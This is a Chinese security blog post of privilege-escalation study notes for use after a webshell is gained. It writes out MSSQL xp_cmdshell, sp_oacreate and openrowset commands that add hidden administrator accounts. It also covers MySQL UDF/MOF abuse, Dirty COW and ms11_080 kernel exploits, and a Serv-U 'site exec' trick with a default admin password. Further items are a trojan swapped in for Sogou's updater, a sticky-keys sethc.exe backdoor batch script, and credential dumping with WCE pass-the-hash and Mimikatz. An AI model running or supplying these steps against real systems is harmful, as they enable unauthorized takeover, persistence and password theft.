笔记整理-提权篇

admin 2022年10月8日14:28:27评论85 views字数 4719阅读15分43秒阅读模式

    系统层面提权:拿到webshell后通过对漏洞和工具的利用获取服务器权限或用户名及密码,开启远程连接。

    网络层面提权:拿到webshell后无法绕过防火墙等来建立连接时可以通过反弹shell以及端口转发的方式来进一步控制。

系统漏洞提权之exp

windows下

寻找可写目录对其上传exp或cmd.exe,进行提权。

windows内核漏洞提权exp集合:

https://github.com/Secwiki/windows-kernel-exploits

eg:通过systeminfo查询相关补丁信息,查看是否有可利用的exp。

笔记整理-提权篇

发现可以利用ms11_080漏洞进行提权,上传exp。

笔记整理-提权篇

对其添加账户

笔记整理-提权篇

查看账户

笔记整理-提权篇

开启远程链接

笔记整理-提权篇

linux下:

    linux提权后得到的是交互式shell,需要反弹才能进行下一步,因此先用nc或者lcx进行反弹,同理这里用unaem -a 查看,在exploit库里去寻找可以利用的模块,上传exp后利用chomd 给予权限(若exp为.c时需要先对其进行编译gcc xxx.c -o),添加用户。

linux内核提权漏洞exp集合:

https://github.com/SecWiki/linux-kernel-exploits

eg:脏牛

笔记整理-提权篇

查看内核版本及信息 

笔记整理-提权篇

上传shell.pl 

笔记整理-提权篇

执行shell.pl 

笔记整理-提权篇

开启监听

笔记整理-提权篇

上传dirty.c 

笔记整理-提权篇

编译dirty.c 

笔记整理-提权篇

 生成一个root权限用户 

笔记整理-提权篇

 使用putty链接 

笔记整理-提权篇

数据库提权:

mysql

udf提权

    由于udf.dll文件引入mysql中时其中的函数会被作为mysql函数使用,因此可通过自定义函数来执行系统命令。

    mysql版本大于及5.1时udf.dll文件放在mysql安装目录的libplugin才能创建自定义函数,若不存在需自行创建plugin。

eg:

在lib下创建plugin文件夹 并上传dll文件

笔记整理-提权篇

修改mysql.ini文件 

笔记整理-提权篇

创建cmdshell,增加新用户

create function cmdshell returns string soname "udf.dll"

笔记整理-提权篇

 新增隐藏用户,并加入管理员组 

笔记整理-提权篇

 nc开启监听 

笔记整理-提权篇

 返回shell 

笔记整理-提权篇

mof提权

    通过控制mof中的vbs脚本执行系统命令,通过load_file将文件写入wbemmof中且每五秒执行一次

条件:版本为win2003及以下、secure_file_priv的值不为null eg:

1、有写权限的Webshell情况下:

找到可写目录上传mof文件,创建用户 

笔记整理-提权篇

添加admin用户 

笔记整理-提权篇

2、有写权限的数据库账号

利用大马上传mof文件 

笔记整理-提权篇

使用sql语句将文件导入到具有读写 权限的目录下 

笔记整理-提权篇

使用msf进行mof提权 

笔记整理-提权篇

mssql:

利用扩展存储过程来执行系统命令

条件:mssql服务没有降权、有sa账号与密码

利用xp_cmdshell:

xp_cmdshell在mssql2005后是默认关闭的,若有sa权限可以将其开启

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

执行系统命令:

exec master.dbo.xp_cmdshell 'ipconfig'//查看ip信息
exec master..xp_cmdshell 'net user test 12345 /add' //添加用户
exec master..xp_cmdshell 'net user localgroup administrators test /add' //添加新用户至管理员组

eg:

修改为允许修改高级参数 

笔记整理-提权篇


 打开xp_cmdshell扩展 

笔记整理-提权篇

 添加用户 

笔记整理-提权篇

添加至管理员组

笔记整理-提权篇

利用SO_OACreate提权

同样,在2005后是默认关闭的,将其打开

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

执行系统命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:winntsystem32cmd.exe /c net user 123 123 /add' //添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:winntsystem32cmd.exe /c net localgroup administrators 123/add' //添加至管理员组

以上为2k系统下,xp和2k3需要在用户名后添加$,如 user 123$ 123/add

利用xp_rewrite提权

利用存储过程脚本可以写入注册表来实现对超级管理员账号的克隆。

在xp_cmdshell与沙盘模式开启的情况下, 利用jet.oledb执行系统命令

select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshell';
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1;

启用openrowset 与open datasource组件

exec sp_configure 'show advanced options',1;reconfigure//允许修改高级参数
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure//打开组件扩展
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')//添加用户
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c net localgroup administrators admin /add")')//添加新用户至管理员组

原生组件提权

suid提权

    (设置用户id)通过suid权限对二进制文件或程序来执行命令,因为当这类文件执行时,调用者会暂时获得该文件的文件拥有者权限

    可以通过命令查找具有root权限的suid文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

    常用于suid提权的文件与指令:vim、bash、more、less、nano、cp

sudo提权

    superuser do,普通用户在使用sudo 执行命令时会暂时拥有root权限,可以在该命令运行过程中调用系统命令运行/bin/bash,那么就是在root权限下运行bash了

    原理:Sudo 错误地在参数中转义了反斜杠字符,从而触发了缓冲溢出,最终导致任何本地用户都可以获得 root 权限。通常,在 shell 中(sudo -s 或 sudo -i)运行命令时,sudo 都会转义特殊的字符。但是,在使用 sudoedit -s 或 sudoedit -i 时实际上又没有进行转义,这使得缓冲区溢出成为了可能。

    利用sudo -v查看sudo版本,小于1.8.28时存在sudo漏洞,sudo su获得root权限

第三方软件服务提权

server-u提权

对serverudaemon.ini有修改权限时

    对serverudaemon.ini进行修改,添加serveru的新用户进行登录,命令行输入对应服务器的ip地址及密码

ftp>quote site exec net user username passwd /add
ftp>quote site exec net localgroup administrators username /add

对serverudaemon.ini没有修改权限时

    查看serverudaemon.ini文件中passwd参数值,对其进行爆破,登录默认账号localadministrator, 默认密码#l@$ak#.lk;0@P 。若被修改了,可下载安装目录下的serverAdmin.exe使用winhex(十六进制查看器),查找LocalAdministrator后面即可看到相应密码。

搜狗输入法提权:

    在低版本的搜狗输入法的根目录下有pinyinup.exe用来跟新词库,因此可以利用更改过名字的木马来伪装,当搜狗输入法更新词库时便会完成提权

eg: 构建木马

笔记整理-提权篇

@echo off
@net user ndsec ndsecpw /add
@net localgroup administrators ndsec /add

将原本的更新程序重命名

笔记整理-提权篇

上传新生成的

笔记整理-提权篇

手动更新词库(等不及了) 

笔记整理-提权篇

shift 后门

    通过粘滞键的功能在复制文件的同时对文件名进行更改,将cmd.exe文件复制到 c:windowssystem32dllcache目录,并更名为sethc.exe

    远程连接靶机,bat运行后,注销系统,五次shift以system调用cmd 将经过quickbfc.exe进行编译的bat批处理文件,上传到webshell并执行,远程连接

eg:

echo 提权开始......
copy c:windowssystem32cmd.exe c:windowssystem32dllcachesethc.exe
copy c:windowssystem32dllcachesethc.exe c:windowssystem32sethc.exe
echo 提权结束......

在远程连接后构建bat 

笔记整理-提权篇

注销后连按五次shift

笔记整理-提权篇

提权后的操作 密码抓取

BPD

笔记整理-提权篇

上传BrowserPasswordDump.exe 并启动 

笔记整理-提权篇

WCE(xp、2003、vista、2007、2008下)

笔记整理-提权篇

将哈希值导出

笔记整理-提权篇

摘取后注入 (wce路径下执行 wce.exe -s +hash )

笔记整理-提权篇

用dir domainc$查看 列出文件(wce路径下) 

笔记整理-提权篇

Mimikatz

Privilege::debug查看权限 

笔记整理-提权篇

Sekurlsa::logonpasswords获取账户密码信息

笔记整理-提权篇




原文始发于微信公众号(Th0r安全):笔记整理-提权篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月8日14:28:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   笔记整理-提权篇https://cn-sec.com/archives/1299969.html

发表评论

匿名网友 填写信息